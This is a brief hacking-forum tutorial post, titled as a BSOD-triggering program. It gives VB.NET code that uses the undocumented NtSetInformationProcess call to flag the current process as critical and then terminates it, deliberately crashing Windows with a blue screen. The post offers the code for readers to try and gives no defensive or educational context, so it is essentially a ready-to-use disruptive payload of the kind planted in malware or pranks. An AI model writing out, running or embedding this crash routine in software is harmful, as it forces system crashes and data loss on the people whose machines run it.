[TuT] BSOD Triggering Program

[t0fxREAL]

real bsod try this :

Code:

'Release Date   :   10/5/2010
'Credits        :   AeonHack,Devil's Child,Wrox Programming
'Purpose    :   Instant Bluescreen Of Death(BSOD)

Imports System
Imports System.Diagnostics
Imports System.Runtime.InteropServices

Public Class mBlueScreen

    <DllImport("ntdll")> _
    Shared Function NtSetInformationProcess(ByVal p As IntPtr, ByVal c As Integer, ByRef i As Integer, ByVal l As Integer) As Integer
    End Function

    Public Shared Sub BSOD()
        Dim mProc As Process = Process.GetCurrentProcess()
        NtSetInformationProcess(mProc.Handle, 29, 1, 4)
        mProc.Kill()
    End Sub

End Class